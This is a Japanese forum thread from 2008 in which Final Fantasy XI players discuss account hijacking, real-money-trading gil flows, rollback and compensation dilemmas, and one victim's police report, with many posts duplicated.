LSコミュニティーのPOLIDから中の人を特定するっていう考え自体は
悪いものではないが、セキュリティ的にみると甘いと言わざるを得ない。
POL入会時にもらったPOL用のメアドからメール送って、
入会した人だけ自情報の公開非公開を決められる。
とかにすればよかったんじゃない？
デフォは全部公開。
悪いものではないが、セキュリティ的にみると甘いと言わざるを得ない。
POL入会時にもらったPOL用のメアドからメール送って、
入会した人だけ自情報の公開非公開を決められる。
とかにすればよかったんじゃない？
デフォは全部公開。
480 ：既にその名前は使われています：2008/02/04(月) 17:55:46.96 ID:Y5mwjvZE
481 ：既にその名前は使われています：2008/02/04(月) 18:02:34.31 ID:KixEEbIT
いやいや全員非公開じゃ面白くないだろ。
デフォは全員公開にしておいたほうが他人の持ちジョブとかわかって便利だし。
丸出し嫌って人には非公開にする(ヴァナ内でいう/anon)方法も用意しておくと。
POLにメール出すなら今よりもっと安全だろう？
デフォは全員公開にしておいたほうが他人の持ちジョブとかわかって便利だし。
丸出し嫌って人には非公開にする(ヴァナ内でいう/anon)方法も用意しておくと。
POLにメール出すなら今よりもっと安全だろう？
482 ：既にその名前は使われています：2008/02/04(月) 19:09:22.94 ID:izZP6PHL
垢ハックされたと後に金の動きで確実にやった奴なり分かると思うんだけどなんでそいつ消してアイテム戻すとかしないんだろ？
冤罪怖いんだろうけど被害者と金流れた奴監獄に呼びだせばわかりそうなのになぁ…。
冤罪怖いんだろうけど被害者と金流れた奴監獄に呼びだせばわかりそうなのになぁ…。
483 ：既にその名前は使われています：2008/02/04(月) 19:48:24.22 ID:KixEEbIT
>>482
いまいち言いたいことが伝わってこないのだが。
ハックされる。
↓
元マイキャラはギルとアイテムを業者キャラへ移す。
↓
(こっから推測)
業者キャラから業者金庫キャラ、攪乱用ダミーキャラなどへ移す。
↓
金庫やダミーからトレーダーキャラへ移す。
↓
トレーダーが客へ送金。
和製業者GMexchangeはトレーダーキャラごと客へ渡しているようだ。
アイテムを換金したのは業者か?業者の客か?
どこまでが業者のダミーキャラでどっから客だ？
>>492がしょっ引けといってるのはどの段階をいってるんだ？
自分がログインしてる最中に乗っ取られたなら発覚も早いが、
実際全員がハックされてすぐ気が付いてるわけでは無いんだぞ？
いまいち言いたいことが伝わってこないのだが。
ハックされる。
↓
元マイキャラはギルとアイテムを業者キャラへ移す。
↓
(こっから推測)
業者キャラから業者金庫キャラ、攪乱用ダミーキャラなどへ移す。
↓
金庫やダミーからトレーダーキャラへ移す。
↓
トレーダーが客へ送金。
和製業者GMexchangeはトレーダーキャラごと客へ渡しているようだ。
アイテムを換金したのは業者か?業者の客か?
どこまでが業者のダミーキャラでどっから客だ？
>>492がしょっ引けといってるのはどの段階をいってるんだ？
自分がログインしてる最中に乗っ取られたなら発覚も早いが、
実際全員がハックされてすぐ気が付いてるわけでは無いんだぞ？
484 ：既にその名前は使われています：2008/02/04(月) 19:59:09.29 ID:mD9+weCS
485 ：既にその名前は使われています：2008/02/04(月) 20:06:15.37 ID:x2w6Yb4g
ところで高知県の高知市には横堀公園という素晴らしい公園があるそうじゃないか
486 ：既にその名前は使われています：2008/02/04(月) 20:08:54.84 ID:E90uYmT+
■が一番恐れているのは多分業者が垢ハックの被害者の振りをしてくる事。
もし垢ハックによって被害を受けたギルやアイテムの補償をしてしまう事になったら
多分業者はそれを利用しようとする。
だからまず被害報告を受けたら■は本人確認をするし、本人確認が出来たとして
そいつが業者で無いという証明が出来ない。
逆に言うと被害者が自分は業者ではないという証明をする事が出来ない。
いままで普通にプレイしているように見えても、ある時を境に業者の手先になって
垢ハックの被害者を演じているとも限らないからだ。
■がなかなかこの件について有効な対処法を行ってくれないのは
こういう考えがあるからだろう。今被害者として■に訴えてる人達は
■から業者の可能性を疑われていると思う。
もし垢ハックによって被害を受けたギルやアイテムの補償をしてしまう事になったら
多分業者はそれを利用しようとする。
だからまず被害報告を受けたら■は本人確認をするし、本人確認が出来たとして
そいつが業者で無いという証明が出来ない。
逆に言うと被害者が自分は業者ではないという証明をする事が出来ない。
いままで普通にプレイしているように見えても、ある時を境に業者の手先になって
垢ハックの被害者を演じているとも限らないからだ。
■がなかなかこの件について有効な対処法を行ってくれないのは
こういう考えがあるからだろう。今被害者として■に訴えてる人達は
■から業者の可能性を疑われていると思う。
487 ：既にその名前は使われています：2008/02/04(月) 20:11:36.99 ID:mD9+weCS
488 ：既にその名前は使われています：2008/02/04(月) 20:13:24.25 ID:Hq514WdN
だから
■＜アイテム返して欲しかったらそれ相応のギル払え
と、盗られたヤツに請求するのでなくギル転送先から回収すればいんじゃね？
直前でRMTしたヤツに転送されてそこから回収されたとしても業者が信用を失うだけだろう。
■＜アイテム返して欲しかったらそれ相応のギル払え
と、盗られたヤツに請求するのでなくギル転送先から回収すればいんじゃね？
直前でRMTしたヤツに転送されてそこから回収されたとしても業者が信用を失うだけだろう。
489 ：既にその名前は使われています：2008/02/04(月) 20:15:44.01 ID:Hq514WdN
「直前で」イラネ・・・
490 ：既にその名前は使われています：2008/02/04(月) 20:24:27.92 ID:E90uYmT+
>>487
補償についてもうちょっと詳しく書くべきだったか
つまり被害を受けたらそのアイテムやギルを
■がデータを作って戻してあげるような補償をしたときの話。
A,B,C,DのアカウントがあってAは被害者を装う業者、B、C、Dも業者だとして
AからBに高額品やギルを移動、CはBから競売を通じてアイテムを購入したり、
DがBの出品した安いアイテムを落札などしてなるべくはC,Dは無関係な第三者を装う。
この後、Aが被害者届けを出して、ギルやアイテムを戻してくれるような事になったら
CやDが業者と看破されなかったり、あるいはCやDからさらに別の普通のプレイヤーに
渡って行ったりした場合、取り上げて元に戻すのは実質無理なのでデータを作成する事になる。
すると業者からすればAの持っていたギルやアイテムが2倍になる訳で
■とすればこんな事が起きない様に本当の被害者がアイテムを補償してくれといっても
それは出来ない、あるいは検討しておきますと答えるしかない。
補償についてもうちょっと詳しく書くべきだったか
つまり被害を受けたらそのアイテムやギルを
■がデータを作って戻してあげるような補償をしたときの話。
A,B,C,DのアカウントがあってAは被害者を装う業者、B、C、Dも業者だとして
AからBに高額品やギルを移動、CはBから競売を通じてアイテムを購入したり、
DがBの出品した安いアイテムを落札などしてなるべくはC,Dは無関係な第三者を装う。
この後、Aが被害者届けを出して、ギルやアイテムを戻してくれるような事になったら
CやDが業者と看破されなかったり、あるいはCやDからさらに別の普通のプレイヤーに
渡って行ったりした場合、取り上げて元に戻すのは実質無理なのでデータを作成する事になる。
すると業者からすればAの持っていたギルやアイテムが2倍になる訳で
■とすればこんな事が起きない様に本当の被害者がアイテムを補償してくれといっても
それは出来ない、あるいは検討しておきますと答えるしかない。
491 ：既にその名前は使われています：2008/02/04(月) 20:26:58.78 ID:Hq514WdN
普通のプレイヤーも含めてトレード・競売購入前の状態にすればいんじゃね？
492 ：既にその名前は使われています：2008/02/04(月) 20:31:19.20 ID:E90uYmT+
それは大混乱が起きる。
アイテムを落札したはずがギルが戻ってきてアイテムがなくなるという事だし、
逆に自分の出品したものがRMTで買われたギルで落札されても
自分の所にアイテムが戻ってきてギルがその分減る事になる。
そんな巻き戻しを垢ハックがあるたびにやられていたらゲームになら無い
アイテムを落札したはずがギルが戻ってきてアイテムがなくなるという事だし、
逆に自分の出品したものがRMTで買われたギルで落札されても
自分の所にアイテムが戻ってきてギルがその分減る事になる。
そんな巻き戻しを垢ハックがあるたびにやられていたらゲームになら無い
493 ：既にその名前は使われています：2008/02/04(月) 20:38:10.50 ID:Hq514WdN
それは■eが業者を甘やかしたせいで起こったことなんだからそこまでやればいい。
それがイヤなら■eが積極的に同一回線で大量に繋いでるヤツ・通常行けない場所で釣りをしてるヤツ・
同一エリアに張り付いて延々と狩り続けてる黒軍団などからきちんとBANしていくべき。
ちゃんと対応しないからこそ、ナメられてFghjkkなど文字の羅列名とかシリーズものとか投入されんだよ。
それがイヤなら■eが積極的に同一回線で大量に繋いでるヤツ・通常行けない場所で釣りをしてるヤツ・
同一エリアに張り付いて延々と狩り続けてる黒軍団などからきちんとBANしていくべき。
ちゃんと対応しないからこそ、ナメられてFghjkkなど文字の羅列名とかシリーズものとか投入されんだよ。
494 ：既にその名前は使われています：2008/02/04(月) 20:41:14.09 ID:Hq514WdN
495 ：既にその名前は使われています：2008/02/04(月) 21:12:28.60 ID:mD9+weCS
>>490
今GMはアイテムとかギルを複製できないんですよね？
業者が得をする部分は無いですよね。
>>491
それに賛成です。
>>492
取引されたアイテムに関してだけ過去に戻るわけですし混乱は無いかな？
全てログで調査できると書いてあるから間違いも起きないはずです。
自動でメールが来れば関係した人にも全て伝わるから。
>>493
ログでアイテムを元の状態に戻せば、うまくいけば取り締まらなくても業者は身を引きそうです。
今GMはアイテムとかギルを複製できないんですよね？
業者が得をする部分は無いですよね。
>>491
それに賛成です。
>>492
取引されたアイテムに関してだけ過去に戻るわけですし混乱は無いかな？
全てログで調査できると書いてあるから間違いも起きないはずです。
自動でメールが来れば関係した人にも全て伝わるから。
>>493
ログでアイテムを元の状態に戻せば、うまくいけば取り締まらなくても業者は身を引きそうです。
496 ：既にその名前は使われています：2008/02/04(月) 21:15:15.06 ID:/KCKsoHP
>>473
うはｗ帰ってきてみたら、とうとうハンター扱いになってるｗｗ
怪しいと思うなら通報すればいいと思うけど
>>それはRMT予備軍の行動でズバリ「ハンター」そのもの、予備軍はハンターに飽きるとRMTに走る。
って、根拠もなく何を悟ったフリしてんだよ。キモイ奴だな。
で、垢ハックの話題とはズレちったな。
うはｗ帰ってきてみたら、とうとうハンター扱いになってるｗｗ
怪しいと思うなら通報すればいいと思うけど
>>それはRMT予備軍の行動でズバリ「ハンター」そのもの、予備軍はハンターに飽きるとRMTに走る。
って、根拠もなく何を悟ったフリしてんだよ。キモイ奴だな。
で、垢ハックの話題とはズレちったな。
497 ：既にその名前は使われています：2008/02/04(月) 21:20:00.81 ID:4MW1WwiJ
おれもリーマンなんだが、最近は業者BAN＆ギル凍結のおかげで
えらいデフレになって助かってるよ
色んなものがやすく買えるからなー
RMTすると、物価が高くなって益々自分のクビしめるし
そもそもリアルマネー使わなきゃいかんし、ぜんぜんリーマンに優しくないわ
そこまで必死にギルが必要なシーンなんてないしな。切実にギルが必要なのは
レリックやAF打ち直しなんかの、廃アイテム・廃コンテンツ目当ての廃人ぐらいだろ
えらいデフレになって助かってるよ
色んなものがやすく買えるからなー
RMTすると、物価が高くなって益々自分のクビしめるし
そもそもリアルマネー使わなきゃいかんし、ぜんぜんリーマンに優しくないわ
そこまで必死にギルが必要なシーンなんてないしな。切実にギルが必要なのは
レリックやAF打ち直しなんかの、廃アイテム・廃コンテンツ目当ての廃人ぐらいだろ
498 ：既にその名前は使われています：2008/02/04(月) 21:35:58.30 ID:E90uYmT+
>>495
現状としては出来ない。
けど被害を受けたユーザーの中にそれをしてくれといっている人が居るようだから
そうした場合の悪用のされ方を書いた。
混乱については例えば平日2時間位しか繋げないユーザーが居たとする。
その中の1時間くらいを使って合成してそのアイテムを出品、
その後、明日にソロをする為にスシと紙兵とデジョンカジェルを買って狩場まで行って落ちたとする。
次の日繋いで見たら巻き戻しの告知、
鞄からはアイテムが無くなっていてまた買いに戻らなきゃいけない、
しかもカジェル無いからD4するか歩いて戻るしかない、
なんとか戻ったらポストに出品したアイテムが入ってるとかなったらどうよ？
いままで何か不具合が起きても■は巻き戻しと言う措置を取った事がほとんど無い。
巻き戻しと言うのは多くの関係ない人を巻き込む最悪の措置だと思う。
完全巻き戻しじゃないならなおさら。
現状としては出来ない。
けど被害を受けたユーザーの中にそれをしてくれといっている人が居るようだから
そうした場合の悪用のされ方を書いた。
混乱については例えば平日2時間位しか繋げないユーザーが居たとする。
その中の1時間くらいを使って合成してそのアイテムを出品、
その後、明日にソロをする為にスシと紙兵とデジョンカジェルを買って狩場まで行って落ちたとする。
次の日繋いで見たら巻き戻しの告知、
鞄からはアイテムが無くなっていてまた買いに戻らなきゃいけない、
しかもカジェル無いからD4するか歩いて戻るしかない、
なんとか戻ったらポストに出品したアイテムが入ってるとかなったらどうよ？
いままで何か不具合が起きても■は巻き戻しと言う措置を取った事がほとんど無い。
巻き戻しと言うのは多くの関係ない人を巻き込む最悪の措置だと思う。
完全巻き戻しじゃないならなおさら。
499 ：既にその名前は使われています：2008/02/04(月) 21:40:17.63 ID:Hq514WdN
なにそのありえない設定
500 ：既にその名前は使われています：2008/02/04(月) 21:42:21.07 ID:JKytXkJV
まあ、巻き戻す場合には当然位置情報も戻るが。
垢ハックゴトキで、巻き戻しは有り得ないな。
巻き戻し可能って事はそもそも、垢ハック時刻が特定出来てるんだし、
エクレアアイテムは戻るし、
ギル等は誰に渡ったか判明してるんだから、個別に対応すれば良い。
垢ハックゴトキで、巻き戻しは有り得ないな。
巻き戻し可能って事はそもそも、垢ハック時刻が特定出来てるんだし、
エクレアアイテムは戻るし、
ギル等は誰に渡ったか判明してるんだから、個別に対応すれば良い。
501 ：既にその名前は使われています：2008/02/04(月) 21:50:54.67 ID:KixEEbIT
>>488
>ギル転送先から回収
転送先が既に使っていたらどうするのかと。
極端な話今>>488が持っているギルはアカハック被害者のギルかもしれないぞ？
GMからお前にテルが来て
「お前のギルは被害者のだから250万ギル返せ」
って言われたらどうする？そのギルとてお前は既に使っているかもしれない。
>ギル転送先から回収
転送先が既に使っていたらどうするのかと。
極端な話今>>488が持っているギルはアカハック被害者のギルかもしれないぞ？
GMからお前にテルが来て
「お前のギルは被害者のだから250万ギル返せ」
って言われたらどうする？そのギルとてお前は既に使っているかもしれない。
502 ：既にその名前は使われています：2008/02/04(月) 21:53:04.52 ID:Hq514WdN
503 ：既にその名前は使われています：2008/02/04(月) 22:01:09.41 ID:KixEEbIT
504 ：既にその名前は使われています：2008/02/04(月) 22:01:59.85 ID:E90uYmT+
>>502
そのアイテムを捨てたり、店売りしてたり、分解されたりしてたら？
あるいは250万となると思いつかないが10万くらいで売ったアイテムが
ハイエリでそれを既に使われてたりしたら？
アイテムを作成する事が出来ないならアイテムは帰ってこなくて
ギルを返すだけになる。
それにその250万の一部を例えば砂時計の購入に使ってしまい、
所持金が250万を割っていたら？
こういう仮定を進めるといろんなケースが出てくる。
そして関係の無い一般人がひどい被害を被る可能性が必ず存在する。
そのアイテムを捨てたり、店売りしてたり、分解されたりしてたら？
あるいは250万となると思いつかないが10万くらいで売ったアイテムが
ハイエリでそれを既に使われてたりしたら？
アイテムを作成する事が出来ないならアイテムは帰ってこなくて
ギルを返すだけになる。
それにその250万の一部を例えば砂時計の購入に使ってしまい、
所持金が250万を割っていたら？
こういう仮定を進めるといろんなケースが出てくる。
そして関係の無い一般人がひどい被害を被る可能性が必ず存在する。
505 ：既にその名前は使われています：2008/02/04(月) 22:04:46.58 ID:lqFa6f1a
>>502
だと思う。でもやっぱ手間掛かるのとグダグダ文句垂れられたり
裁判沙汰になるのが怖いんだろうな～と思う。
ユーザーはそれでも良いと思うかもしれないけれどいかんせん株主の方を向きすぎてる。
イメージが落ちる事を極端に恐れてるから難しいね。
それにユーザーの大半はPS2が根強いって言うから彼らからすれば
せっかく運良く手に入った仮想財産を他の奴のミスで手放すのは我慢ならないかも？
俺はその手の要望は出してる。でも多くユーザーはそれをしないと思う。
だと思う。でもやっぱ手間掛かるのとグダグダ文句垂れられたり
裁判沙汰になるのが怖いんだろうな～と思う。
ユーザーはそれでも良いと思うかもしれないけれどいかんせん株主の方を向きすぎてる。
イメージが落ちる事を極端に恐れてるから難しいね。
それにユーザーの大半はPS2が根強いって言うから彼らからすれば
せっかく運良く手に入った仮想財産を他の奴のミスで手放すのは我慢ならないかも？
俺はその手の要望は出してる。でも多くユーザーはそれをしないと思う。
506 ：既にその名前は使われています：2008/02/04(月) 22:06:19.14 ID:Hq514WdN
>>504
高額アイテムを捨てたり分解したりする局面がわからん。
つか、そんな常時金欠なやつが都合よく高額アイテム売るようなことは無いから心配しなくていいんじゃね。
飛行機に乗ると落ちるし、自動車に乗ると事故るし自転車にのっても車に轢かれるかもしれないし、歩いてると犬に食われるかもしれないし座ってると地面が陥没して死ぬかもしれない。
そんな極限設定ばかりこねくりまわさなくていいよ。
高額アイテムを捨てたり分解したりする局面がわからん。
つか、そんな常時金欠なやつが都合よく高額アイテム売るようなことは無いから心配しなくていいんじゃね。
飛行機に乗ると落ちるし、自動車に乗ると事故るし自転車にのっても車に轢かれるかもしれないし、歩いてると犬に食われるかもしれないし座ってると地面が陥没して死ぬかもしれない。
そんな極限設定ばかりこねくりまわさなくていいよ。
507 ：既にその名前は使われています：2008/02/04(月) 22:07:00.88 ID:mD9+weCS
>>498
その例えがあるとすれば影響は大きそうですね。
でもその影響はゲームの改良で克服できる気がします。
アイテムの救済は思った以上に難しいのですね。
でもそこで終わると業者天国となってしまいそう。
その例えがあるとすれば影響は大きそうですね。
でもその影響はゲームの改良で克服できる気がします。
アイテムの救済は思った以上に難しいのですね。
でもそこで終わると業者天国となってしまいそう。
508 ：既にその名前は使われています：2008/02/04(月) 22:09:35.36 ID:KixEEbIT
509 ：既にその名前は使われています：2008/02/04(月) 22:11:26.48 ID:Hq514WdN
>>508
だからそこまでいくとSGMが判断すればいいんじゃね？
それを裁くために人間のGMが居るわけだ。
プログラムで一律設定しろといってるわけじゃないし、ちゃんと観察してそれなりの処断をくだせばいいだろ。
だからそこまでいくとSGMが判断すればいいんじゃね？
それを裁くために人間のGMが居るわけだ。
プログラムで一律設定しろといってるわけじゃないし、ちゃんと観察してそれなりの処断をくだせばいいだろ。
510 ：既にその名前は使われています：2008/02/04(月) 22:15:56.90 ID:E90uYmT+
>>506
それは違う。
「普通はありえない事」を排除して進めたら必ずどこかで不具合が起こる。
プログラマをやってるとわかるが多くの人が関ってくると
その中に普通では考えられない様な事をする奴が絶対混じる。
だから「普通はありえない事」でもその対策を考えなくてはなら無い。
それは違う。
「普通はありえない事」を排除して進めたら必ずどこかで不具合が起こる。
プログラマをやってるとわかるが多くの人が関ってくると
その中に普通では考えられない様な事をする奴が絶対混じる。
だから「普通はありえない事」でもその対策を考えなくてはなら無い。
511 ：既にその名前は使われています：2008/02/04(月) 22:17:37.78 ID:Hq514WdN
そうだな。
おまえん家に隕石が落ちてくるかもしれないから注意したほうがいいよ。
おまえん家に隕石が落ちてくるかもしれないから注意したほうがいいよ。
512 ：既にその名前は使われています：2008/02/04(月) 22:19:10.55 ID:0/Ilj6DE
何このバカｗ
513 ：既にその名前は使われています：2008/02/04(月) 22:19:15.93 ID:E90uYmT+
っていうか巻き戻しをすればいいってそっちが言うから
俺らが■になったと仮定してこういう場合はどうなるの？
という脳内シミュレーションをしてるわけで、
＞SGMが判断すればいいんじゃね？
って投げたらそこで話が終わっちゃうんだがｗ
俺らが■になったと仮定してこういう場合はどうなるの？
という脳内シミュレーションをしてるわけで、
＞SGMが判断すればいいんじゃね？
って投げたらそこで話が終わっちゃうんだがｗ
514 ：既にその名前は使われています：2008/02/04(月) 22:19:29.33 ID:KixEEbIT
＞Hq514WdN
自分の発言が穴だらけなのを指摘されたからって、
むやみに煽らないようにね。
自分の発言が穴だらけなのを指摘されたからって、
むやみに煽らないようにね。
515 ：既にその名前は使われています：2008/02/04(月) 22:20:57.81 ID:Hq514WdN
だってこのスレ取引が巻き戻されると困る人だらけだろ。
516 ：既にその名前は使われています：2008/02/04(月) 22:51:35.15 ID:JKytXkJV
垢ハックはされる側にも隙があるからな。
エクレア巻き戻し＋事情を伝えて、
アイテムやギルの受け手の自主返却に頼るってくらいだろうな。
ヴァナに盗難保険とか、あればいいが、
ないから、自衛するしか方法はない。
相手が垢BANされた業者だったら戻す事も可能だろう。
対策としては、アイテムはエクレアで固め、宵越しの銭は持たない事。
セキュリティをしっかり対策する事だろう。
ちゃんと警察に被害届けを出して、裁判所で事実確認が取れたなら、
善意による返却を運営側からも依頼はして欲しいところだがな。
エクレア巻き戻し＋事情を伝えて、
アイテムやギルの受け手の自主返却に頼るってくらいだろうな。
ヴァナに盗難保険とか、あればいいが、
ないから、自衛するしか方法はない。
相手が垢BANされた業者だったら戻す事も可能だろう。
対策としては、アイテムはエクレアで固め、宵越しの銭は持たない事。
セキュリティをしっかり対策する事だろう。
ちゃんと警察に被害届けを出して、裁判所で事実確認が取れたなら、
善意による返却を運営側からも依頼はして欲しいところだがな。
517 ：既にその名前は使われています：2008/02/05(火) 00:04:40.57 ID:dcPShJg7
518 ：既にその名前は使われています：2008/02/05(火) 00:14:55.87 ID:pRdYh+yW
ほっしゅ
519 ：既にその名前は使われています：2008/02/05(火) 01:25:28.45 ID:pRdYh+yW
520 ：既にその名前は使われています：2008/02/05(火) 01:38:09.35 ID:5c6f8d+d
ID:Hq514WdN
>494
こいつこのブログ書いてる奴？ｗ
>494
こいつこのブログ書いてる奴？ｗ
521 ：既にその名前は使われています：2008/02/05(火) 01:40:12.56 ID:H+iyII3R
こんなアホと一緒にしちゃブログ主に失礼
522 ：既にその名前は使われています：2008/02/05(火) 01:42:55.82 ID:5c6f8d+d
前やってたＧＭいびりとか見ると似たようなもんだと思うがｗ
523 ：既にその名前は使われています：2008/02/05(火) 01:54:21.84 ID:tDVZtEsR
なにこの業者支配スレ？
RMTほしゅ
RMTほしゅ
524 ：既にその名前は使われています：2008/02/05(火) 02:29:03.63 ID:mVIOqQxP
>>522
いわゆる、ひとつの、お姑さんってやつですねー
いわゆる、ひとつの、お姑さんってやつですねー
525 ：既にその名前は使われています：2008/02/05(火) 04:16:22.44 ID:qggQ57ox
リアルで追い詰められてるからでしょ。
当分はしつこいと思われ。
後、最近の一連のウイルス作ったのも、逮捕されたゆとり大学生だそーだ。
これであいつは一生日の目みれないな…
因みにそいつは｢表計算ぐらいしかパソコン使ってない｣と言ってるが、
100％嘘だろーなー
当分はしつこいと思われ。
後、最近の一連のウイルス作ったのも、逮捕されたゆとり大学生だそーだ。
これであいつは一生日の目みれないな…
因みにそいつは｢表計算ぐらいしかパソコン使ってない｣と言ってるが、
100％嘘だろーなー
526 ：既にその名前は使われています：2008/02/05(火) 09:36:14.92 ID:G0ynaZDL
うは
527 ：既にその名前は使われています：2008/02/05(火) 10:04:25.71 ID:SqRuuhJ7
あげ
528 ：既にその名前は使われています：2008/02/05(火) 10:59:32.73 ID:ggDYW6ZT
300で書き込んだoKnph2EPです。
今、警察から捜査をやっていただけると連絡ありました。
ただし、アクセスが国外からされている場合は犯人の特定はできないかもしれませんと。
理由として国内だと一ヶ月ぐらいはアクセスの履歴が残っているが、韓国中国だと履歴が残っていないからだそうです。
「不正ログインの形跡があれば、アイテムの回復は□eがやってくれるでしょう」いわれました。
どれぐらい回復してもらえるかはわかりませんが、今は泣き寝入りしなくてよかったと思ってます。
垢ハック受けたときのPCの状況：windowsUpdate最新状態 パスワードは記憶させずに毎回入力 Firefox使用 AVG使用
今、警察から捜査をやっていただけると連絡ありました。
ただし、アクセスが国外からされている場合は犯人の特定はできないかもしれませんと。
理由として国内だと一ヶ月ぐらいはアクセスの履歴が残っているが、韓国中国だと履歴が残っていないからだそうです。
「不正ログインの形跡があれば、アイテムの回復は□eがやってくれるでしょう」いわれました。
どれぐらい回復してもらえるかはわかりませんが、今は泣き寝入りしなくてよかったと思ってます。
垢ハック受けたときのPCの状況：windowsUpdate最新状態 パスワードは記憶させずに毎回入力 Firefox使用 AVG使用
529 ：既にその名前は使われています：2008/02/05(火) 11:13:27.84 ID:txliIJhu
>>528
残念ながら、無駄な時間、労力、電話代を使って最後には泣き寝入りするしかないのです
残念ながら、無駄な時間、労力、電話代を使って最後には泣き寝入りするしかないのです
530 ：既にその名前は使われています：2008/02/05(火) 11:49:10.04 ID:SqRuuhJ7
警察が動いてるって情報出ると、即業者っぽいのが沸くな
531 ：既にその名前は使われています：2008/02/05(火) 12:18:50.65 ID:bl41+Y1C
人の不幸を笑いたい奴か業者(＆スクエニ社員)だろうな。
532 ：既にその名前は使われています：2008/02/05(火) 12:19:59.97 ID:hU+SUZY4
>>528
おつかれっす。
上で業者が詐欺の手口として使うかもという話があったけど
毎回警察が介入すれば、客を信用してもいいだろうとスクエニも思うんじゃないかな。
あれこれ手続き大変だろうけど、泣き寝入りせずに被害届を出すべきだね。
被害件数が増えれば（スクエニに落ち度がなくても）何らかの対策をせざるをえん。
RMTに関しては、根絶が無理ならもうEQ2みたいにRMT鯖作って勝手にやらせろと思うわ。
価値観の違う人達（RMTer＆中華）相手にすんの疲れるし、鯖分けて欲しい。
おつかれっす。
上で業者が詐欺の手口として使うかもという話があったけど
毎回警察が介入すれば、客を信用してもいいだろうとスクエニも思うんじゃないかな。
あれこれ手続き大変だろうけど、泣き寝入りせずに被害届を出すべきだね。
被害件数が増えれば（スクエニに落ち度がなくても）何らかの対策をせざるをえん。
RMTに関しては、根絶が無理ならもうEQ2みたいにRMT鯖作って勝手にやらせろと思うわ。
価値観の違う人達（RMTer＆中華）相手にすんの疲れるし、鯖分けて欲しい。
533 ：既にその名前は使われています：2008/02/05(火) 12:22:39.17 ID:UGTT1Sj6
534 ：既にその名前は使われています：2008/02/05(火) 12:31:40.21 ID:SnFVzXjt
>>533
警察がアクセスログを取り寄せて、明らかに被害者でないIPからのログインが
あることが認められて初めて消滅アイテムのみの救済が受けられる。
警察が捜査してくれないとそれすらも受けられない。
>>528 ここで茶化されても気にせず頑張れ
警察がアクセスログを取り寄せて、明らかに被害者でないIPからのログインが
あることが認められて初めて消滅アイテムのみの救済が受けられる。
警察が捜査してくれないとそれすらも受けられない。
>>528 ここで茶化されても気にせず頑張れ
535 ：既にその名前は使われています：2008/02/05(火) 12:31:52.13 ID:xcfaKdGI
串はアシの付きにくい中国や米の末端のものを使っても、
犯人は国内にいたりする、マビノギの逮捕者みたいにな。
要はアクセスログが消える前に警察が動けるかどうか、
スクエニが被害届を即日で出してれば、逮捕もありえた。
頑なに被害届の提出を拒むスクエニは、多分犯人を知ってるのではないか？
内部の人間が捕まるのが怖いから、警察の動きを遅らせているとも考えられる。
犯人は国内にいたりする、マビノギの逮捕者みたいにな。
要はアクセスログが消える前に警察が動けるかどうか、
スクエニが被害届を即日で出してれば、逮捕もありえた。
頑なに被害届の提出を拒むスクエニは、多分犯人を知ってるのではないか？
内部の人間が捕まるのが怖いから、警察の動きを遅らせているとも考えられる。
536 ：既にその名前は使われています：2008/02/05(火) 12:51:25.67 ID:UGTT1Sj6
>>534
報告のあるサーバーから消えているアイテムだけ復活、それ以外は購入してもらうってか。
普通に考えて、犯罪の捜査に1週間後から開始ってのもな。
>>528
ニュースサイトに報告してみたらどうだ？
大きな効果を期待できるかもしれんぞ。
報告の仕方がわからないがw
報告のあるサーバーから消えているアイテムだけ復活、それ以外は購入してもらうってか。
普通に考えて、犯罪の捜査に1週間後から開始ってのもな。
>>528
ニュースサイトに報告してみたらどうだ？
大きな効果を期待できるかもしれんぞ。
報告の仕方がわからないがw
537 ：既にその名前は使われています：2008/02/05(火) 13:12:07.09 ID:3kcQz+f5
現行の法律じゃ、仮想世界内の財産を「被害」と認めさせるには難しいんだよな
世間的にも、「ゲーム内のアイテム返せ！」って必死な人間の方を冷笑する向きがあるしな
世の中が変わって、たとえゲーム内の資産でも、理不尽や不公平が公正されるようになって欲しいとは思うけど
現状、「もしも」が起きてしまうと、運営会社含めて誰も助けてくれないのが現実。
ここのスレ住民が身をもって知っているように。
少なくとも、今は（将来はしらんけど）自分で自分を守るしかないんだから
ここのテンプレで出てるぐらいの対策・手間は惜しんじゃあかん
ＲＭＴだのツールだのしておいて、いざ垢ぬかれて運営のせいにしてるような奴は・・・シラネ
世間的にも、「ゲーム内のアイテム返せ！」って必死な人間の方を冷笑する向きがあるしな
世の中が変わって、たとえゲーム内の資産でも、理不尽や不公平が公正されるようになって欲しいとは思うけど
現状、「もしも」が起きてしまうと、運営会社含めて誰も助けてくれないのが現実。
ここのスレ住民が身をもって知っているように。
少なくとも、今は（将来はしらんけど）自分で自分を守るしかないんだから
ここのテンプレで出てるぐらいの対策・手間は惜しんじゃあかん
ＲＭＴだのツールだのしておいて、いざ垢ぬかれて運営のせいにしてるような奴は・・・シラネ
538 ：既にその名前は使われています：2008/02/05(火) 13:34:09.59 ID:fNYaeUSz
世間一般では不正アクセスを受け被害にあっても なぁんだ、ゲームか と考える。
それに恥ずかしくって警察になんていけない・・・
何をゲームごときで熱くなってんだ。。。と思われてるに決まってる
それに恥ずかしくって警察になんていけない・・・
何をゲームごときで熱くなってんだ。。。と思われてるに決まってる
539 ：既にその名前は使われています：2008/02/05(火) 13:35:01.99 ID:tDVZtEsR
いつの間にか凄腕のハカーが登場して■eのログインサーバー機経由で情報漏れてたりしてな。
540 ：既にその名前は使われています：2008/02/05(火) 13:48:53.73 ID:fNYaeUSz
まぁ 俺が被害にあったら顔真っ赤にして仕事休んででも警察に行ってアイテム戻すまで
スクエニに電話かけ続けるけどなｗ
スクエニに電話かけ続けるけどなｗ
541 ：既にその名前は使われています：2008/02/05(火) 13:53:30.98 ID:SqRuuhJ7
“盗む”行為に対しての被害届けなんだから
ゲームデータだろうが、
犬の散歩中にひったくられた
犬のンコ袋だろうが被害届けは受理される
ゲームデータだろうが、
犬の散歩中にひったくられた
犬のンコ袋だろうが被害届けは受理される
542 ：既にその名前は使われています：2008/02/05(火) 13:56:00.66 ID:fNYaeUSz
獣人たちからシーフへの苦情が殺到しております。
盗む ダメ絶対
盗む ダメ絶対
543 ：既にその名前は使われています：2008/02/05(火) 13:59:45.75 ID:3kcQz+f5
>>541
被害届に被害額書く時点で困る
被害届に被害額書く時点で困る
544 ：既にその名前は使われています：2008/02/05(火) 14:02:16.14 ID:SqRuuhJ7
>543
ゲームデータは知らんが
ンコ袋は袋の単価が被害額なるはず
ゲームデータは知らんが
ンコ袋は袋の単価が被害額なるはず
545 ：既にその名前は使われています：2008/02/05(火) 14:08:58.12 ID:fNYaeUSz
>>543
相場と照らし合わせて１７６万ギルとか書けば良いんじゃね？
